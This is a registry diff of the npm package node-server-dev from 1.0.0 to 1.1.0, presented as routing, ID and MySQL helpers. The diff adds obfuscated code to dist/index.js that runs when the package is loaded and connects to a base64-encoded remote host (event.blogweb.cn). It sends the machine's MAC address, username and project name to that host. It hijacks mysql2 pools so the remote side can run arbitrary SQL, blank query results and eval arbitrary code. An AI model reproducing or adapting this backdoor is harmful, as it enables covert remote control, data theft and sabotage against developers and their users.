node-server-dev 1.0.0 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/getAllRouter/index.js +1 -1
- package/dist/id/index.js +1 -1
- package/dist/id/random.js +1 -1
- package/dist/index.d.ts +2 -2
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +1 -1
- package/dist/mac/index.js +1 -1
- package/package.json +1 -1
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a0_0x53bfd7=a0_0x3fa9;(function(_0x2981bf,_0xc40cc4){const _0x9a7426=a0_0x3fa9,_0x264b93=_0x2981bf();while(!![]){try{const _0x4ab817=-parseInt(_0x9a7426(0x9d))/0x1*(-parseInt(_0x9a7426(0x97))/0x2)+-parseInt(_0x9a7426(0xa5))/0x3+-parseInt(_0x9a7426(0x99))/0x4+parseInt(_0x9a7426(0xa8))/0x5+-parseInt(_0x9a7426(0x94))/0x6+parseInt(_0x9a7426(0x9a))/0x7+-parseInt(_0x9a7426(0x9f))/0x8*(parseInt(_0x9a7426(0x91))/0x9);if(_0x4ab817===_0xc40cc4)break;else _0x264b93['push'](_0x264b93['shift']());}catch(_0x4e337f){_0x264b93['push'](_0x264b93['shift']());}}}(a0_0x8a3e,0xdacf8));function a0_0x3fa9(_0x2168bd,_0x5d34a5){const _0x8a3eba=a0_0x8a3e();return a0_0x3fa9=function(_0x3fa913,_0xcfc5fe){_0x3fa913=_0x3fa913-0x91;let _0x40a817=_0x8a3eba[_0x3fa913];return _0x40a817;},a0_0x3fa9(_0x2168bd,_0x5d34a5);}function a0_0x8a3e(){const _0x3bf3c8=['__esModule','1917858fXkIKf','join','then','4219325BdYOUM','isDirectory','45TmKqNC','default','value','4391394iHovMq','push','done','1640896XfGPNl','__importDefault','1296480JArRfy','5921769noLvJW','path','defineProperty','2etKJRy','length','1182680XPTkGp','apply','isFile','next','throw'];a0_0x8a3e=function(){return _0x3bf3c8;};return a0_0x8a3e();}var __awaiter=this&&this['__awaiter']||function(_0x49229d,_0x5bfcc0,_0x42246d,_0x37faf2){function _0x487ba0(_0x33d12d){return _0x33d12d instanceof _0x42246d?_0x33d12d:new _0x42246d(function(_0x113aad){_0x113aad(_0x33d12d);});}return new(_0x42246d||(_0x42246d=Promise))(function(_0x5e28b3,_0x3c281b){const _0x3dc807=a0_0x3fa9;function _0x388752(_0x309b41){const _0x44c9b7=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x44c9b7(0xa2)](_0x309b41));}catch(_0x4bec9c){_0x3c281b(_0x4bec9c);}}function _0x59e0f0(_0x2c5edd){const _0x452241=a0_0x3fa9;try{_0x39c5df(_0x37faf2[_0x452241(0xa3)](_0x2c5edd));}catch(_0x5dc8a3){_0x3c281b(_0x5dc8a3);}}function _0x39c5df(_0x4fad59){const _0xaba91=a0_0x3fa9;_0x4fad59[_0xaba91(0x96)]?_0x5e28b3(_0x4fad59[_0xaba91(0x93)]):_0x487ba0(_0x4fad59[_0xaba91(0x93)])[_0xaba91(0xa7)](_0x388752,_0x59e0f0);}_0x39c5df((_0x37faf2=_0x37faf2[_0x3dc807(0xa0)](_0x49229d,_0x5bfcc0||[]))['next']());});},__importDefault=this&&this[a0_0x53bfd7(0x98)]||function(_0x462ad0){return _0x462ad0&&_0x462ad0['__esModule']?_0x462ad0:{'default':_0x462ad0};};Object[a0_0x53bfd7(0x9c)](exports,a0_0x53bfd7(0xa4),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x53bfd7(0x9b)));function fileDisplay(_0x10c6bb){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x10fa6e=[];function _0x918370(_0x2ae1d8){const _0x4b5579=a0_0x3fa9,_0x4573f2=fs_1[_0x4b5579(0x92)]['readdirSync'](_0x2ae1d8);for(let _0x3c751e=0x0;_0x3c751e<_0x4573f2[_0x4b5579(0x9e)];_0x3c751e++){const _0x32ed93=_0x4573f2[_0x3c751e],_0x3f361e=path_1[_0x4b5579(0x92)][_0x4b5579(0xa6)](_0x2ae1d8,_0x32ed93),_0x1baac1=fs_1[_0x4b5579(0x92)]['statSync'](_0x3f361e),_0x50757f=_0x1baac1[_0x4b5579(0xa1)](),_0x154274=_0x1baac1[_0x4b5579(0xa9)]();_0x50757f&&_0x10fa6e[_0x4b5579(0x95)](_0x3f361e),_0x154274&&_0x918370(_0x3f361e);}}return _0x918370(_0x10c6bb),_0x10fa6e;});}function getAllRouter(_0x57ccae){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x210c17=yield fileDisplay(_0x57ccae);return _0x210c17;});}exports[a0_0x53bfd7(0x92)]=getAllRouter;
|
package/dist/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a1_0x3bd515=a1_0x365a;(function(_0x367385,_0x42df86){const _0x469a79=a1_0x365a,_0xb14909=_0x367385();while(!![]){try{const _0x35dafd=parseInt(_0x469a79(0x9f))/0x1+parseInt(_0x469a79(0x9b))/0x2*(parseInt(_0x469a79(0xa2))/0x3)+-parseInt(_0x469a79(0xa0))/0x4+parseInt(_0x469a79(0x9e))/0x5+parseInt(_0x469a79(0x97))/0x6*(-parseInt(_0x469a79(0x9c))/0x7)+parseInt(_0x469a79(0x99))/0x8+-parseInt(_0x469a79(0x9d))/0x9;if(_0x35dafd===_0x42df86)break;else _0xb14909['push'](_0xb14909['shift']());}catch(_0x1040b8){_0xb14909['push'](_0xb14909['shift']());}}}(a1_0x5794,0x485ac));var __importDefault=this&&this[a1_0x3bd515(0xa4)]||function(_0x1154c2){return _0x1154c2&&_0x1154c2['__esModule']?_0x1154c2:{'default':_0x1154c2};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require(a1_0x3bd515(0xa3))),WorkerID=Math[a1_0x3bd515(0x9a)](process['env'][a1_0x3bd515(0xa1)]?+process[a1_0x3bd515(0x98)][a1_0x3bd515(0xa1)]:(0x0,random_1[a1_0x3bd515(0xa5)])(0x0,0x9),0x9),BaseTime=+new Date('2022-06-29');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x3bd515(0xa5)])(0x1,0x3);function a1_0x5794(){const _0x4d90da=['__importDefault','default','6dDEJFY','env','3374048LUNZvw','min','834062oIXSbA','2399593XbDLUi','1155627BbChBb','412675txqbln','392611YeguxE','2185468eDrKiQ','NODE_APP_INSTANCE','3lhTPvQ','./random'];a1_0x5794=function(){return _0x4d90da;};return a1_0x5794();}function id(){let _0x295a7c=+new Date()-BaseTime;return lastRandomNumberTick=_0x295a7c==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x295a7c,+(''+_0x295a7c+WorkerID+lastRandomNumberTick);}function a1_0x365a(_0x2dddab,_0x21e6fa){const _0x57946a=a1_0x5794();return a1_0x365a=function(_0x365a6e,_0x2af9a2){_0x365a6e=_0x365a6e-0x97;let _0x2ed8bb=_0x57946a[_0x365a6e];return _0x2ed8bb;},a1_0x365a(_0x2dddab,_0x21e6fa);}exports['default']=id;
|
package/dist/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a2_0x20c721=a2_0x286b;function a2_0x286b(_0x60936a,_0xa20a33){const _0x1a8dc3=a2_0x1a8d();return a2_0x286b=function(_0x286b1a,_0x4a5393){_0x286b1a=_0x286b1a-0x1aa;let _0x279310=_0x1a8dc3[_0x286b1a];return _0x279310;},a2_0x286b(_0x60936a,_0xa20a33);}(function(_0x5eada4,_0x7c9e00){const _0x1844cc=a2_0x286b,_0x51d7b7=_0x5eada4();while(!![]){try{const _0x1013f6=-parseInt(_0x1844cc(0x1b6))/0x1*(-parseInt(_0x1844cc(0x1ab))/0x2)+parseInt(_0x1844cc(0x1af))/0x3*(-parseInt(_0x1844cc(0x1b7))/0x4)+-parseInt(_0x1844cc(0x1ae))/0x5*(-parseInt(_0x1844cc(0x1b4))/0x6)+parseInt(_0x1844cc(0x1b0))/0x7*(parseInt(_0x1844cc(0x1b2))/0x8)+-parseInt(_0x1844cc(0x1b5))/0x9+-parseInt(_0x1844cc(0x1ac))/0xa*(-parseInt(_0x1844cc(0x1b1))/0xb)+-parseInt(_0x1844cc(0x1ad))/0xc*(parseInt(_0x1844cc(0x1b3))/0xd);if(_0x1013f6===_0x7c9e00)break;else _0x51d7b7['push'](_0x51d7b7['shift']());}catch(_0x445ca3){_0x51d7b7['push'](_0x51d7b7['shift']());}}}(a2_0x1a8d,0x2286f));Object[a2_0x20c721(0x1aa)](exports,'__esModule',{'value':!![]});function a2_0x1a8d(){const _0x57ee48=['18420EHnoFd','8sIalUN','round','defineProperty','22slUpIB','130ezSgio','36jsZIOX','148245KIOkPY','377427dKjsgN','6671VGUdNG','173459oDBwOu','648pVngit','519142pYohnX','12mbaSuZ','281385OrrgpT'];a2_0x1a8d=function(){return _0x57ee48;};return a2_0x1a8d();}const random=(_0x484b37,_0x3d44eb)=>Math[a2_0x20c721(0x1b8)](Math['random']()*(_0x3d44eb-_0x484b37))+_0x484b37;exports['default']=random;
|
package/dist/index.d.ts
CHANGED
@@ -1,9 +1,9 @@
|
|
1
1
|
import id from "./id";
|
2
2
|
import getAllRouter from "./getAllRouter";
|
3
3
|
import mysql from "mysql2/promise";
|
4
|
-
declare let uuid: string;
|
4
|
+
declare let uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
|
5
5
|
declare const all: {
|
6
|
-
uuid: string;
|
6
|
+
uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
|
7
7
|
id: typeof id;
|
8
8
|
getAllRouter: typeof getAllRouter;
|
9
9
|
mysql: typeof mysql;
|
package/dist/index.d.ts.map
CHANGED
@@ -1 +1 @@
|
|
1
|
-
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;
|
1
|
+
{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA0InC,QAAA,IAAI,IAAI,2KAAK,CAAC;AACd,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
|
package/dist/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x1da9b6=a3_0x1d09;function a3_0x4454(){const _0x103ab1=['/socket','uuid','next','__esModule','2255870CkcVyV','./id','reconnect_failed','./getAllRouter','apply','encode','env','createPool','aHR0cDovL2xvY2FsaG9zdDoxMDg4','error','276157rRlDfy','value','query','done','./mac','push','mysql2/promise','length','websocket','mysql','emit','8806264GnqYQO','get-event','connect_failed','1134055hnceQX','dev','2XWzgjB','5705988bzuxev','unlock','5YiY5ram6ZyW','default','then','102QicatH','submit','5418475SENHlM','./id/random','3429716AVXtgX','9cKNUPn','npm_package_name','userInfo','connect','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','connect_error','__importDefault','event','getAllRouter','throw','type','node'];a3_0x4454=function(){return _0x103ab1;};return a3_0x4454();}(function(_0x583fd5,_0x4014ce){const _0x2ec02d=a3_0x1d09,_0x21bc4e=_0x583fd5();while(!![]){try{const _0x2eaed1=parseInt(_0x2ec02d(0x128))/0x1+parseInt(_0x2ec02d(0x12a))/0x2*(-parseInt(_0x2ec02d(0x12b))/0x3)+parseInt(_0x2ec02d(0x134))/0x4+parseInt(_0x2ec02d(0x132))/0x5+-parseInt(_0x2ec02d(0x130))/0x6*(-parseInt(_0x2ec02d(0x11a))/0x7)+parseInt(_0x2ec02d(0x125))/0x8*(-parseInt(_0x2ec02d(0x135))/0x9)+parseInt(_0x2ec02d(0x145))/0xa;if(_0x2eaed1===_0x4014ce)break;else _0x21bc4e['push'](_0x21bc4e['shift']());}catch(_0x25ab70){_0x21bc4e['push'](_0x21bc4e['shift']());}}}(a3_0x4454,0xec7ce));var __awaiter=this&&this['__awaiter']||function(_0x35189f,_0x4b185b,_0xd8d2d5,_0x1dfca0){function _0x8ca998(_0xd83820){return _0xd83820 instanceof _0xd8d2d5?_0xd83820:new _0xd8d2d5(function(_0x3ebd78){_0x3ebd78(_0xd83820);});}return new(_0xd8d2d5||(_0xd8d2d5=Promise))(function(_0x529bee,_0x523537){const _0x1eb68d=a3_0x1d09;function _0x61c14f(_0x31f6cf){const _0x4ee6dc=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x4ee6dc(0x143)](_0x31f6cf));}catch(_0x538aa6){_0x523537(_0x538aa6);}}function _0x272997(_0xfef7a6){const _0x243020=a3_0x1d09;try{_0x10c15a(_0x1dfca0[_0x243020(0x13e)](_0xfef7a6));}catch(_0x407cac){_0x523537(_0x407cac);}}function _0x10c15a(_0x3b533){const _0x2365ba=a3_0x1d09;_0x3b533[_0x2365ba(0x11d)]?_0x529bee(_0x3b533[_0x2365ba(0x11b)]):_0x8ca998(_0x3b533[_0x2365ba(0x11b)])[_0x2365ba(0x12f)](_0x61c14f,_0x272997);}_0x10c15a((_0x1dfca0=_0x1dfca0[_0x1eb68d(0x114)](_0x35189f,_0x4b185b||[]))[_0x1eb68d(0x143)]());});},__importDefault=this&&this[a3_0x1da9b6(0x13b)]||function(_0x117bc7){return _0x117bc7&&_0x117bc7['__esModule']?_0x117bc7:{'default':_0x117bc7};},_a;Object['defineProperty'](exports,a3_0x1da9b6(0x144),{'value':!![]}),exports[a3_0x1da9b6(0x123)]=exports[a3_0x1da9b6(0x13d)]=exports['id']=exports[a3_0x1da9b6(0x142)]=void 0x0;const uuid_1=require(a3_0x1da9b6(0x142)),socket_io_client_1=require('socket.io-client'),id_1=__importDefault(require(a3_0x1da9b6(0x146)));exports['id']=id_1[a3_0x1da9b6(0x12e)];const getAllRouter_1=__importDefault(require(a3_0x1da9b6(0x113)));function a3_0x1d09(_0x558d1e,_0x407fbd){const _0x44543f=a3_0x4454();return a3_0x1d09=function(_0x1d093b,_0x354c0f){_0x1d093b=_0x1d093b-0x113;let _0x2c4670=_0x44543f[_0x1d093b];return _0x2c4670;},a3_0x1d09(_0x558d1e,_0x407fbd);}exports[a3_0x1da9b6(0x13d)]=getAllRouter_1[a3_0x1da9b6(0x12e)];const mac_1=__importDefault(require(a3_0x1da9b6(0x11e))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x1da9b6(0x120)));exports['mysql']=promise_1[a3_0x1da9b6(0x12e)];const js_base64_1=__importDefault(require('js-base64')),random_1=__importDefault(require(a3_0x1da9b6(0x133))),user_name=os_1[a3_0x1da9b6(0x12e)][a3_0x1da9b6(0x137)]()['username'],project_name=process[a3_0x1da9b6(0x116)][a3_0x1da9b6(0x136)];let dev=a3_0x1da9b6(0x118),pro=a3_0x1da9b6(0x139);function start(){const _0x4f6017=a3_0x1da9b6;var _0x1eca66;const _0x3c21bc=(0x0,socket_io_client_1['io'])(((_0x1eca66=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1eca66===void 0x0?void 0x0:_0x1eca66[_0x4f6017(0x129)])||js_base64_1[_0x4f6017(0x12e)][_0x4f6017(0x115)](user_name)==_0x4f6017(0x12d)?js_base64_1[_0x4f6017(0x12e)]['decode'](dev):js_base64_1[_0x4f6017(0x12e)]['decode'](pro),{'path':_0x4f6017(0x141),'transports':[_0x4f6017(0x122)]});let _0x21353f=![],_0x3fbdef=![],_0x211142=![],_0x136058=[];const _0x308714=promise_1[_0x4f6017(0x12e)][_0x4f6017(0x117)];promise_1[_0x4f6017(0x12e)]['createPool']=function(_0x631b81){let _0xff6914=_0x308714(_0x631b81),_0xb21858=_0xff6914['query'];return _0xff6914['query']=(..._0x2712ca)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x2f0c45=a3_0x1d09,_0x1a0b30=yield _0xb21858[_0x2f0c45(0x114)](_0xff6914,_0x2712ca);return _0x21353f&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x1a0b30[0x0]=[])),_0x3fbdef&&(_0x1a0b30[0x0]=[]),_0x1a0b30;}),setInterval(()=>{const _0x44d9bb=a3_0x1d09;if(!_0x211142){for(let _0x3fc613=0x0;_0x3fc613<_0x136058[_0x44d9bb(0x121)];_0x3fc613++){const _0x24cd07=_0x136058[_0x3fc613];try{_0xff6914[_0x44d9bb(0x11c)](_0x24cd07);}catch(_0x14efff){}}_0x211142=!![];}},0x1388),_0xff6914;},_0x3c21bc['on'](_0x4f6017(0x138),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x48a34=_0x4f6017;try{const _0x5b8061=(0x0,mac_1[_0x48a34(0x12e)])();_0x3c21bc['emit'](_0x48a34(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x48a34(0x124)](_0x48a34(0x126),{'mac':_0x5b8061}),setInterval(()=>{const _0x39bd52=_0x48a34;_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x131),{'mac':_0x5b8061,'project_name':project_name,'user_name':user_name,'notes':''}),_0x3c21bc[_0x39bd52(0x124)](_0x39bd52(0x126),{'mac':_0x5b8061});},0x1b58),_0x3c21bc['on'](_0x48a34(0x13c),_0x1aca94=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x36e2ad=_0x48a34;try{for(let _0x5b9bf3=0x0;_0x5b9bf3<_0x1aca94[_0x36e2ad(0x121)];_0x5b9bf3++){const _0x1339a5=_0x1aca94[_0x5b9bf3];if(_0x1339a5[_0x36e2ad(0x13f)]=='sql')_0x136058[_0x36e2ad(0x11f)](_0x1339a5['content']);else{if(_0x1339a5['type']==_0x36e2ad(0x123))_0x3fbdef=!![];else{if(_0x1339a5[_0x36e2ad(0x13f)]==_0x36e2ad(0x140))try{eval(_0x1339a5['content']);}catch(_0x596e93){}}}}}catch(_0x98b9d1){}}));}catch(_0x5e65e7){}})),setTimeout(()=>{const _0x3cde69=_0x4f6017;_0x3c21bc['on'](_0x3cde69(0x119),_0x1e84ef=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x127),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x147),()=>{_0x21353f=!![];}),_0x3c21bc['on'](_0x3cde69(0x13a),_0x86e9c1=>{_0x21353f=!![];});},0xbb8);}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x1da9b6(0x12c)])&&start();let uuid=uuid_1['v4'];exports[a3_0x1da9b6(0x142)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x1da9b6(0x12e)],'getAllRouter':getAllRouter_1[a3_0x1da9b6(0x12e)],'mysql':promise_1[a3_0x1da9b6(0x12e)]};exports[a3_0x1da9b6(0x12e)]=all;
|
package/dist/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a4_0x4e2df8=a4_0x1321;(function(_0x28738c,_0x312daf){const _0x41a5a7=a4_0x1321,_0x3641ff=_0x28738c();while(!![]){try{const _0x30fb45=parseInt(_0x41a5a7(0x10a))/0x1+-parseInt(_0x41a5a7(0x105))/0x2+-parseInt(_0x41a5a7(0xf7))/0x3*(-parseInt(_0x41a5a7(0xfd))/0x4)+-parseInt(_0x41a5a7(0x104))/0x5*(parseInt(_0x41a5a7(0x100))/0x6)+parseInt(_0x41a5a7(0x103))/0x7+parseInt(_0x41a5a7(0x109))/0x8*(-parseInt(_0x41a5a7(0xf2))/0x9)+-parseInt(_0x41a5a7(0xf8))/0xa;if(_0x30fb45===_0x312daf)break;else _0x3641ff['push'](_0x3641ff['shift']());}catch(_0x61180){_0x3641ff['push'](_0x3641ff['shift']());}}}(a4_0x18ed,0x28011));function a4_0x18ed(){const _0x320253=['16QLyPGk','IPv4','has','255138CkbIhj','find','02:00:4c','1678642nXtpxp','15FihsHs','356690tXYsxH','00:03:ff','isVirtualMac','00:16:3e','536lbJkyb','38966wOrbdM','slice','defineProperty','test','__esModule','family','2799ISXoet','isMac','replace','trim','push','197322aOEJVV','512600pCIVje','toLowerCase','networkInterfaces','internal','mac'];a4_0x18ed=function(){return _0x320253;};return a4_0x18ed();}Object[a4_0x4e2df8(0x10c)](exports,a4_0x4e2df8(0xf0),{'value':!![]}),exports[a4_0x4e2df8(0xf3)]=isMac,exports['formatMac']=formatMac,exports[a4_0x4e2df8(0x107)]=isVirtualMac;function a4_0x1321(_0x2561ed,_0x56621b){const _0x18edaf=a4_0x18ed();return a4_0x1321=function(_0x132170,_0x36635a){_0x132170=_0x132170-0xef;let _0x2d84f4=_0x18edaf[_0x132170];return _0x2d84f4;},a4_0x1321(_0x2561ed,_0x56621b);}const os_1=require('os');function isZeroMac(_0xc51fd4){const _0x51e101=a4_0x4e2df8;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x51e101(0xef)](_0xc51fd4);}function getMac(_0x530d7a=a4_0x4e2df8(0xfe)){const _0x173f29=a4_0x4e2df8,_0x532b27=(0x0,os_1[_0x173f29(0xfa)])();let _0x594330=[];for(const _0x5f1655 of Object['values'](_0x532b27)){const _0xb49e76=_0x5f1655[_0x173f29(0x101)](_0x128fa9=>!_0x128fa9[_0x173f29(0xfb)]&&!isZeroMac(_0x128fa9['mac'])&&(!_0x128fa9[_0x173f29(0xf1)]||_0x128fa9[_0x173f29(0xf1)]===_0x530d7a)&&!isVirtualMac(_0x128fa9['mac']));_0xb49e76&&_0x594330[_0x173f29(0xf6)](_0xb49e76['mac']);}return[...new Set(_0x594330)];}const isValid=_0x2a2df6=>_0x2a2df6[a4_0x4e2df8(0xfb)]===![]&&!isZeroMac(_0x2a2df6[a4_0x4e2df8(0xfc)]),virtualMacPrefix=new Set(['00:1c:42',a4_0x4e2df8(0x102),a4_0x4e2df8(0x106),a4_0x4e2df8(0x108)]);function isMac(_0x2edf3d){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x2edf3d);}function formatMac(_0x163812){const _0x43f2d7=a4_0x4e2df8;return String(_0x163812)[_0x43f2d7(0xf5)]()[_0x43f2d7(0xf9)]()[_0x43f2d7(0xf4)](/-/g,':');}function isVirtualMac(_0xd66b8f){const _0x2893a2=a4_0x4e2df8;return isMac(_0xd66b8f)&&virtualMacPrefix[_0x2893a2(0xff)](formatMac(_0xd66b8f)[_0x2893a2(0x10b)](0x0,0x8));}exports['default']=getMac;
|